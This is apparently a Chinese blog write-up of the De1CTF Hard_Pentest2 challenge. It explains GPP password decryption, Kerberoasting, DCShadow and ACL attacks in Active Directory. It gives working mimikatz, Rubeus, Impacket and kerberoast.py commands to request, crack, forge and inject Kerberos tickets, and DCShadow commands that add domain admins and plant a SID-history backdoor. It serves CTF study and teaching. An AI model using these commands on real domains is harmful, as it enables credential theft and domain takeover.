De1CTF Hard_Pentest2中的内网渗透

前几天帮朋友打了打De1CTF,将里面涉及的内网知识点稍微总结下。

主要是下面几个部分:

  • GPP漏洞
  • Kerberoasting攻击
  • DCShadow攻击
  • ACL攻击

GPP漏洞

GPP是指组策略首选项(Group Policy Preference),GPP通过操作组策略对象GPO(Group Policy Object)对域中的资源进行管理。

为什么会产生GPP漏洞?

每台Windows主机有一个内置的Administrator账户以及相关联的密码。大多数组织机构为了安全,可能都会要求更改密码,虽然这种方法的效果并不尽如人意。标准的做法是利用组策略去批量设置工作站的本地Administrator密码。但是这样又会出现另一个问题,那就是所有的电脑都会有相同的本地Administrator密码。也就是说,如果获取了一个系统的Administrator认证凭据,黑客就可以获取他们所有机器的管理权限。

在域中信息的搜集是相当的重要,原因还是因为管理员的操作问题和相应便捷工具带来的安全问题。

密码更改方式一:SYSVOL

SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据。

默认路径为:

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

0.png

然后之前的人,常常使用vbs来更改密码,而vbs又是明文密码存储,加上路径域内可随意访问,也就导致了信息漏洞的存在。

密码更改方式二:Group Policy Preferences

在2006年,微软收购了桌面标准的“PolicyMaker”,并重新借此与win2008发布了GPP(组策略偏好)。其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:

映射驱动(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)
更改本地Administrator密码

在Group Policy Preferences,选中你的域。右键选择在这个域中创建GPO并在此处链接

1.png

随意设置一个名称

2.png

然后依次选择:设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组

3.png

然后,右键选择新用户,对用户密码进行更改

4.png

设置后,可以在详细哪里,看到这次组策略的ID

5.png

然后回到之前说的那个路径,加上id\User\Preferences\Groups

得到更改的xml文件。

6.png

其中的cpassword项,保存的是加密后的内容,加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了该AES 256加密的私钥,地址如下:

7.png

借助该私钥,我们就能还原出明文

攻击方法:

因为我们知道了,密码是可以被破解的,那么直接拿来破解不久完事了。。。

8.png

除了这个之外呢,我们也可以使用powersploit套件里面的Get-GPPPassword.ps1进行域内尝试。

9.png

如果有密码就会直接显示出来。

防御

关于这个漏洞,微软给出来了相关的补丁KB2962486,安装后则无法输入密码,2012系统默认集成。

10.png

Kerberoasting攻击

kerberoast攻击发生在kerberos协议的TGS_REP阶段,简单直白的说Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。

Kerberoast攻击过程:

1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证 ,该TGT认购权证用于以后的ST服务票据请求。

2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:xxxx/xxxx。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。

3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在 ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密, 并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。

4.攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

也就是可以总结为以下几个部分:

  1. 服务主体名称(SPN)发现
  2. 请求服务票据
  3. 导出服务票据
  4. 破解服务票据
  5. 重写服务票据&RAM注入

攻击实操:

SPN服务主体名称的发现

关于这一个可以看我之前的文章,已经写的很详细了。

请求服务票据

powershell命令请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

11.png

12.png

mimikatz请求
#请求服务票据kerberos::ask /target:xxx
#列出服务票据kerberos::list  
#清除所有票据kerberos::purge

13.png

14.png

使用Rubeus请求
Rubeus.exe kerberoast

15.png

Impacket中的GetUserSPNS.py请求

需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。

GetUserSPNs.py -request -dc-ip xxx.xxxx.xxx.xxxx xx/xx

16.png

导出服务票据

mimikatz导出

kerberos::list /export

17.png

离线破解服务票据

kerberoast中的tgsrepcrack.py

python tgsrepcrack.py password.txt 1.kirbi  

服务票据重写&RAM注入

如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512

使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。

kerberos::ptt PENTESTLAB.kirbi

DCShadow攻击

原理

Mimikatz远程从DC中复制数据,即Dcsync; 类似的dcshadow可以伪装成DC,让正常DC通过伪造的DC中复制数据。

18.png

步骤

1、通过dcshadow更改配置架构和注册SPN值,将我们的服务器注册为Active Directory中的DC 2、在我们伪造的DC上更改数据,并利用域复制将数据同步到正常DC上。

首先加载mimikatz的驱动保证你在system权限下:

!+
!processtoken
token::whoami

19.png

更改属性描述值

lsadump::dcshadow /object:CN=dc,CN=Users,DC=test,DC=org /attribute:description /value:”xxxxxx”

20.png

然后新开一个窗口,以域管权限运行mimikatz:

lsadump::dcshadow /push

21.png

然后win7的描述就更改为了我们刚才定义的内容。

22.png

然后我们就可以使用下面的方法,添加域管:

lsadump::dcshadow /object:CN=win7,CN=Users,DC=test,DC=org /attribute:primarygroupid /value:512

或者是管理后门

lsadump::dcshadow /object:CN=dc,CN=Users,DC=seven,DC=com /attribute:sidhistory /value:S-1-5-21-1900941692-2128706383-2830697502-500

ACL

概念

DACL自由访问控制列表:对对象持有者控制访问对象,并标明特定的用户,特定的组是否能持有对象。简单一句话就是说,定义哪个用户,或哪个用户所属的组访问该对象的权限。

SACL系统访问控制列表:用来记录某个安全对象被访问的情况,也可以理解为当用户去访问的时候具有对该安全对象的权限!,比如读、写、运行等的存取控制权限细节的列表

ACL访问控制列表:DACL和SACL构成了整个存取控制列表Access Control List

ACE访问控制项:ACL中的每一项,我们叫做ACE(Access Control Entry)

安全对象Securable Object: 是拥有SD(安全描述符)的Windows的对象,所有的被命名的Windows的对象都是安全对象,但是一些没有命名的对象是安全对象,如:进程和线程,也有安全描述符SD。

23.png

当一个线程想访问一个安全对象时候,系统要么允许访问,要拒绝访问。

举个例子,当一个进程试图访问一个安全对象的时候,系统就检查该安全对象的DACL的每个ACE项,逐个与该进程的访问令牌作对比,来决定是否授权访问给进程,详细流程如下

如果一个安全对象没有DACL,系统就会授予该对象的所有访问权限给任何用户,这里也就说明了当我们win32编程中安全描述符为什么都为NULL,其实就是DACL来创建一个Everyone的ACL列表,那么就是任意用户都可以进行访问!

如果一个安全对象有DACL,但是DACL里面没有ACE,那么系统会拒绝对该对象的任何访问。

25.png

创建一个DACL:

1.首先创建一个 安全属性结构体.(比如创建文件.文件中一般传入NULL.现在不传NULL) 2.使用SDDL字符串对其进行初始化 3.使用 使用 ConvertStringSecurityDescriptorToSecurityDescriptor 函数将SDDL字符串转为安全描述符.(就是那个结构体) 那个结构体的->LpsecurityDscriptor成员. 而且使用这个函数.则将返回值发送到main函数.main函数使用 更新过后的SECURITY_ATTRIBUTES 结构来创建文件. 也就是说你使用函数.更改了安全属性.然后使用这个安全属性来创建文件. 4.使用过之后要使用 localFree函数释放 lpSecurityDescriptor 申请的内存

SDDL 是 安全描述符字符串格式 也就是说这个字符串是存储安全描述符(那个结构体)所需要记录的文本格式.

我们需要两个函数。

ConvertSecurityDescriptorToStringSecurityDescriptor
ConvertStringSecurityDescriptorToSecurityDescriptor

一个是安全属性转化为文本格式(SDDL) 一个是文本格式(SDDL)转化为安全属性描述.

SDDL 是一个 NULL-Terminated结尾的字符串. 主要分为四组:

1.O: owner_sid 代表对象的SID字符串 2.G: Group_sid 一个SID字符串.标识对象的主要组 3.dacl_flags(ACE......)DACL信息.由ACE组成 4.sacl_flags(ACE...) SACLxin

#include<stdio.h>
#include<Windows.h>
#include<sddl.h>

BOOL CreateMyDACL(SECURITY_ATTRIBUTES* sa) {
    wchar_t* szSD = (wchar_t*)TEXT("D:(D;OICI;GRGW;;;BA)");

    if (sa == NULL)
        return FALSE;
    return ConvertStringSecurityDescriptorToSecurityDescriptor((LPCSTR)szSD, SDDL_REVISION_1, &(sa->lpSecurityDescriptor), NULL);
}


int main() {
    HANDLE hFile;
    SECURITY_ATTRIBUTES lpSecurity_attr;

    lpSecurity_attr.nLength = sizeof(SECURITY_ATTRIBUTES);
    lpSecurity_attr.bInheritHandle = FALSE;
    if (!CreateMyDACL(&lpSecurity_attr))
    {
        // Error encountered; generate message and exit.
        printf("Failed CreateMyDACL\n");
        exit(1);
    }


    hFile = CreateFile("test.txt",
        GENERIC_READ | GENERIC_WRITE, //通用访问权限,应用程序定义的私有安全访问对象能使用通用访问权限。
        0,
        &lpSecurity_attr,
        CREATE_NEW,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (NULL != LocalFree(lpSecurity_attr.lpSecurityDescriptor))
    {
        // Error encountered; generate message and exit.
        printf("Failed LocalFree\n");
        exit(1);
    }
    system("pause");
    return 0;
}

26.png

ACL攻击:

CVE-2019-0841

该漏洞允许低权限的用户通过覆写目标文件的权限来劫持属于NT AUTHORITY\SYSTEM的文件。成功利用就可以使低权限的用户获得对目标文件的完全控制权限。

下面劫持位于C:\Windows\System32\drivers\etc\hosts的HOSTS文件。普通用户是没有该文件的修改访问权限的。

27.png

利用后

28.png

参考文章:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN

https://www.cnblogs.com/iBinary/p/11399114.html

https://docs.microsoft.com/zh-tw/windows/win32/secauthz/security-descriptor-definition-language

https://docs.microsoft.com/zh-tw/windows/win32/secauthz/security-descriptor-definition-language-for-conditional-aces-

https://docs.microsoft.com/zh-tw/windows/win32/secauthz/security-descriptor-string-format

https://docs.microsoft.com/zh-tw/windows/win32/secauthz/ace-strings

查看原文